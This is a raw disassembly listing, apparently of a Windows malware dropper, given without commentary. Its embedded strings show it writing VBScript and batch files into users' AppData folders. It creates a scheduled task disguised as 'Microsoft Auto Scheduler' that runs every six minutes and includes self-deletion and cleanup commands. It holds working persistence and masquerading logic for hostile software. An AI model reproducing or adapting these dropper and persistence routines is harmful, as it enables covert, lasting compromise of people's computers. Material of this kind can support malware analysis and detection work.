movups xmmword [ebp - 0x4d4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x4c4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0xd
push str.___r_nstart__d
lea ecx, [ebp - 0x4d4]
mov byte [ebp - 4], 0x2c
call fcn.004388e0
mov dword [ebp - 0x4ac], 0
xor ecx, ecx
mov dword [ebp - 0x4a8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x4bc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x4ac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 1
push 0x4fb254
lea ecx, [ebp - 0x4bc]
mov byte [ebp - 4], 0x2d
call fcn.004388e0
mov dword [ebp - 0x494], 0
xor ecx, ecx
mov dword [ebp - 0x490], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x4a4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x494], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0xa8]
cmp dword [ebp - 0x94], 8
lea ecx, [ebp - 0x4a4]
push dword [ebp - 0x98]
cmovae eax, dword [ebp - 0xa8]
push eax
call fcn.004388e0
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x478], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x48c], xmm0
xor ecx, ecx
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x47c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 2
push 0x4fb5c0
lea ecx, [ebp - 0x48c]
mov byte [ebp - 4], 0x2f
call fcn.004388e0
mov dword [ebp - 0x50], 0
xor ecx, ecx
mov dword [ebp - 0x4c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x60], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x50], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x30
lea eax, [ebp - 0x48]
cmp dword [ebp - 0x34], 8
lea ecx, [ebp - 0x60]
push dword [ebp - 0x38]
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.004388e0
mov dword [ebp - 0x444], 0
xor ecx, ecx
mov dword [ebp - 0x440], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x454], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x444], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 1
push 0x4fb5bc
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0x31
call fcn.004388e0
mov dword [ebp - 0x464], 0
xor ecx, ecx
mov dword [ebp - 0x460], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x474], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x464], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0x78]
cmp dword [ebp - 0x64], 8
lea ecx, [ebp - 0x474]
push dword [ebp - 0x68]
cmovae eax, dword [ebp - 0x78]
push eax
call fcn.004388e0
mov byte [ebp - 0x438], 0
lea ecx, [ebp - 0x90]
push dword [ebp - 0x438]
mov dword [ebp - 0x80], 0
push eax
mov dword [ebp - 0x7c], 0
call fcn.004375d0
push str._r_n__r_n__r_ngoto_notend_r_n__r_n:imer_r_ntimeout__t_90__nobreak__NUL_r_nIF_EXIST
lea edx, [ebp - 0x90]
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x6e4]
call fcn.0043a2e0
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x34
push ecx
mov edx, eax
lea ecx, [ebp - 0x774]
call fcn.0043a420
push str.___r_ngoto_secthree_r_n__r_n:akakak_r_n
mov edx, eax
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x7a4]
call fcn.0043a2e0
lea ecx, [ebp - 0xc0]
mov byte [ebp - 4], 0x36
push ecx
mov edx, eax
lea ecx, [ebp - 0x78c]
call fcn.0043a420
push str._r_nschtasks__delete__tn_Microsoft_Auto_Scheduler__f_r_nIF_EXIST___SystemDrive_Users_username_AppDataS_8459.vbs____r_nDEL___SystemDrive_Users_username_AppDataS_8459.vbs___f_r_n__r_nIF_EXIST___SystemDrive_Users_username_AppDataS_2153.bat____r_nDEL___SystemDrive_Users_username_AppDataS_2153.bat___f_r_n__r_nDEL___f0___f
mov edx, eax
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x108]
call fcn.0043a2e0
add esp, 0x14
lea ecx, [ebp - 0x78c]
call fcn.004049c0
lea ecx, [ebp - 0x7a4]
call fcn.004049c0
lea ecx, [ebp - 0x774]
call fcn.004049c0
lea ecx, [ebp - 0x6e4]
call fcn.004049c0
lea ecx, [ebp - 0x90]
call fcn.004049c0
lea ecx, [ebp - 0x474]
call fcn.004049c0
lea ecx, [ebp - 0x454]
call fcn.004049c0
lea ecx, [ebp - 0x60]
call fcn.004049c0
lea ecx, [ebp - 0x48c]
call fcn.004049c0
lea ecx, [ebp - 0x4a4]
call fcn.004049c0
lea ecx, [ebp - 0x4bc]
call fcn.004049c0
lea ecx, [ebp - 0x4d4]
call fcn.004049c0
lea ecx, [ebp - 0x4ec]
call fcn.004049c0
lea ecx, [ebp - 0x744]
call fcn.004049c0
lea ecx, [ebp - 0x72c]
call fcn.004049c0
lea ecx, [ebp - 0x714]
call fcn.004049c0
lea ecx, [ebp - 0x6b4]
call fcn.004049c0
lea ecx, [ebp - 0x69c]
call fcn.004049c0
lea ecx, [ebp - 0x684]
call fcn.004049c0
lea ecx, [ebp - 0x66c]
call fcn.004049c0
lea ecx, [ebp - 0x654]
call fcn.004049c0
lea ecx, [ebp - 0x63c]
call fcn.004049c0
lea ecx, [ebp - 0x6cc]
call fcn.004049c0
lea ecx, [ebp - 0x504]
call fcn.004049c0
lea ecx, [ebp - 0x51c]
call fcn.004049c0
lea ecx, [ebp - 0x534]
call fcn.004049c0
lea ecx, [ebp - 0x54c]
call fcn.004049c0
lea ecx, [ebp - 0x564]
call fcn.004049c0
lea ecx, [ebp - 0x57c]
call fcn.004049c0
lea ecx, [ebp - 0x594]
call fcn.004049c0
lea ecx, [ebp - 0x5ac]
call fcn.004049c0
lea ecx, [ebp - 0x5c4]
call fcn.004049c0
lea ecx, [ebp - 0x5dc]
call fcn.004049c0
lea ecx, [ebp - 0x5f4]
call fcn.004049c0
lea ecx, [ebp - 0x60c]
call fcn.004049c0
lea ecx, [ebp - 0x624]
call fcn.004049c0
lea ecx, [ebp - 0x6fc]
mov byte [ebp - 4], 0x5d
call fcn.004049c0
push 0xb0
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004a9190
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x218]
call fcn.00432680
lea edx, [ebp - 0x108]
mov byte [ebp - 4], 0x5e
lea ecx, [ebp - 0x218]
call fcn.0043a9f0
lea ecx, [ebp - 0x218]
call fcn.00432640
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x6e4]
call fcn.0043a350
mov byte [ebp - 4], 0x5f
lea ecx, [ebp + 8]
push ecx
mov edx, eax
lea ecx, [ebp - 0x6fc]
call fcn.0043a420
push str.AppDataS_8459.vbs
mov edx, eax
mov byte [ebp - 4], 0x60
lea ecx, [ebp - 0x120]
call fcn.0043a2e0
add esp, 0xc
lea ecx, [ebp - 0x6fc]
call fcn.004049c0
lea ecx, [ebp - 0x6e4]
mov byte [ebp - 4], 0x63
call fcn.004049c0
push str.Dim_strScript_r_nDim_oExec__oWshShell_r_nDim_ComSpec_r_nSet_oWshShell__CreateObject__WScript.Shell___r_nComSpec__oWshShell.ExpandEnvironmentStrings___comspec____r_nstrScript__ComSpec_____C_echo__SystemDrive_Users_username_AppDataS_6748.bat__r_nSet_oExec__oWshShell.Exec__strScript__r_nDim_outputsxc_r_noutputsxc__oExec.StdOut.ReadAll___r_nSet_fso__CreateObject__Scripting.FileSystemObject___r_noutputsxc__Replace_outputsxc__vbCr______r_noutputsxc__Replace_outputsxc__vbLf______r_nIf__fso.FileExists_outputsxc___Then_r_nSet_WinScriptHost__CreateObject__WScript.Shell___r_nWinScriptHost.Run_Chr_34_____SystemDrive_Users_username_AppDataS_6748.bat___Chr_34___0_r_nSet_WinScriptHost__Nothing_r_nEnd_If
lea ecx, [ebp - 0x138]
call fcn.004323a0
push 0xb0
lea eax, [ebp - 0x2c8]
mov byte [ebp - 4], 0x64
push 0
push eax
call fcn.004a9190
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x2c8]
call fcn.00434190
lea edx, [ebp - 0x138]
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x2c8]
call fcn.00439c80
lea ecx, [ebp - 0x2c8]
call fcn.00434120
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x6e4]
call fcn.0043a350
lea ecx, [ebp + 8]
mov byte [ebp - 4], 0x66
push ecx
mov edx, eax
lea ecx, [ebp - 0x6fc]
call fcn.0043a420
push str.AppDataS_2153.bat
mov edx, eax
mov byte [ebp - 4], 0x67
lea ecx, [ebp - 0x150]
call fcn.0043a2e0
add esp, 0xc
lea ecx, [ebp - 0x6fc]
call fcn.004049c0
lea ecx, [ebp - 0x6e4]
mov byte [ebp - 4], 0x6a
call fcn.004049c0
push str._echo_off_r_nIF_EXIST___SystemDrive_Users_username_AppDataS_8459.vbs____r_nstart______SystemDrive_Users_username_AppDataS_8459.vbs__r_n_
lea ecx, [ebp - 0x168]
call fcn.004323a0
push 0xb0
lea eax, [ebp - 0x378]
mov byte [ebp - 4], 0x6b
push 0
push eax
call fcn.004a9190
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x378]
call fcn.00434190
lea edx, [ebp - 0x168]
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x378]
call fcn.00439c80
lea ecx, [ebp - 0x378]
call fcn.00434120
push str.cd___SystemDrive_Users_username_AppData_S_2153.bat
call fcn.004b5a92
add esp, 4
cmp byte [ebp - 0x431], 0
jne 0x40abe1
cmp byte [ebp - 0x432], 1
jne 0x40abe1
push str.schtasks__create__sc_minute__mo_6__tn__Microsoft_Auto_Scheduler___tr__C:Users_username_AppDataS_2153.bat___f
lea ecx, [ebp - 0x90]
call fcn.004323a0
lea ecx, [ebp - 0x90]
call fcn.00431e30
push eax
call fcn.004b5a92
add esp, 4
lea ecx, [ebp - 0x90]
call fcn.00432290
lea ecx, [ebp - 0x378]
call fcn.0040ae70
lea ecx, [ebp - 0x168]
call fcn.00432290
lea ecx, [ebp - 0x150]
call fcn.004049c0
lea ecx, [ebp - 0x2c8]
call fcn.0040ae70
lea ecx, [ebp - 0x138]
call fcn.00432290
lea ecx, [ebp - 0x120]
call fcn.004049c0
lea ecx, [ebp - 0x218]
call fcn.0040ad70
lea ecx, [ebp - 0x108]
call fcn.004049c0
lea ecx, [ebp - 0xd8]
call fcn.004049c0
lea ecx, [ebp - 0x30]
call fcn.004049c0
lea ecx, [ebp - 0xf0]
call fcn.004049c0
lea ecx, [ebp - 0xa8]
call fcn.004049c0
lea ecx, [ebp - 0x48]
call fcn.004049c0
lea ecx, [ebp - 0x78]
call fcn.004049c0
lea ecx, [ebp - 0xc0]
call fcn.004049c0
lea ecx, [ebp + 8]
call fcn.004049c0
lea ecx, [ebp + 0x20]
call fcn.004049c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00490dbb
mov esp, ebp
pop ebp
ret
call fcn.00438890
call fcn.004b5942
call fcn.004b5942
call fcn.00438890
call fcn.004b5942
call fcn.004b5942
call fcn.004b5942
call fcn.004b5942
int3